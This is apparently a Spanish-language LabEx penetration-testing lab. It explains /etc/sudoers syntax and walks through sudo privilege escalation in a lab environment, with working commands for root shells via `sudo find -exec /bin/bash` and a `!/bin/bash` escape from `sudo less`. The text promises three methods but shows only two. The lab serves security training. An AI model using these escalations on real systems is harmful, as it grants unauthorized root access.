Introducción
En este laboratorio, aprenderá sobre la sintaxis del archivo de configuración de sudo y practicará tres métodos comunes para escalar privilegios a través de vulnerabilidades o malas configuraciones de sudo. El objetivo es adquirir una mejor comprensión de cómo aprovechar sudo para la escalada de privilegios durante una prueba de penetración.
Sintaxis del archivo de configuración de sudo
En este paso, aprenderá sobre la sintaxis del archivo /etc/sudoers, que se utiliza para configurar los privilegios de sudo.
El archivo /etc/sudoers se utiliza para especificar qué usuarios o grupos pueden ejecutar comandos con privilegios elevados. Para ver y guardar el contenido del archivo /etc/sudoers, ejecute el siguiente comando:
sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt
La salida debe ser similar a la siguiente:
## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges
Esta línea especifica que el usuario root puede ejecutar cualquier comando como cualquier usuario o grupo en todos los hosts.
La sintaxis general para una entrada de sudoers es:
user_or_group_name host_list=(run_as_user:run_as_group) command_list
user_or_group_name: El usuario o grupo al que se aplica la regla.host_list: El/los host(s) en los que se aplica la regla. El valorALLsignifica todos los hosts.run_as_user: El usuario cuyos privilegios se utilizan para ejecutar el comando. El valorALLsignifica cualquier usuario.run_as_group: El grupo cuyos privilegios se utilizan para ejecutar el comando. El valorALLsignifica cualquier grupo.command_list: El/los comando(s) que el usuario o grupo está autorizado a ejecutar.
Sudo permite la escalación de privilegios sin restricciones de argumentos
En este paso, practicarás la escalada de privilegios aprovechando malas configuraciones de sudo que permiten ejecutar cualquier comando con privilegios elevados.
Primero, abre una terminal y navega al directorio
/home/labex/project.cd /home/labex/projectInicializa el entorno ejecutando el siguiente comando:
./env_setup_1.shAhora has iniciado sesión como el usuario
user001.Utiliza el comando
sudo -lpara verificar tus privilegios de sudo:sudo -l(root) NOPASSWD:/usr/bin/findEsto significa que puedes ejecutar el comando
findcon privilegios derootsin contraseña.Para escalar privilegios, ejecuta:
sudo find /home -exec /bin/bash \;Ahora deberías tener una shell de
root.Crea un archivo llamado
success_1.txten el directorio/rootpara verificar que tienes privilegios deroot:echo "success_1" | sudo tee /root/success_1.txtVerifica el archivo ejecutando:
cat /root/success_1.txtLa salida debería ser
success_1.
Sudo permite la escalación de privilegios con argumentos de comando específicos
En este paso, practicarás la escalada de privilegios aprovechando malas configuraciones de sudo que permiten ejecutar comandos específicos con privilegios elevados.
Después del último paso, aún has iniciado sesión como el usuario root. Para continuar con este paso, debes cerrar la terminal actual y abrir una nueva terminal.
Primero, abre una terminal y navega al directorio
/home/labex/project.cd /home/labex/projectInicializa el entorno ejecutando el siguiente comando:
./env_setup_2.shVerifica tus privilegios de sudo con
sudo -l:sudo -lSalida esperada:
(root) NOPASSWD: /bin/less /var/log/messagesEsto significa que puedes ejecutar el comando
/bin/less /var/log/messagescon privilegios derootsin contraseña.Para escalar privilegios, ejecuta:
sudo less /var/log/messagesUna vez dentro del paginador
less, ejecuta:!/bin/bashAhora deberías tener una shell de
root.Crea un archivo llamado
success_2.txten el directorio/rootpara verificar que tienes privilegios deroot:echo "success_2" | sudo tee /root/success_2.txtVerifica el archivo ejecutando:
cat /root/success_2.txtLa salida debería ser
success_2.
Resumen
En este laboratorio, aprendiste sobre la sintaxis del archivo /etc/sudoers y cómo configurar los privilegios de sudo. También practicaste tres métodos comunes para escalar privilegios a través de malas configuraciones o vulnerabilidades de sudo. Al entender cómo aprovechar sudo para la escalada de privilegios, puedes evaluar y mitigar mejor los posibles riesgos de seguridad en los sistemas Linux.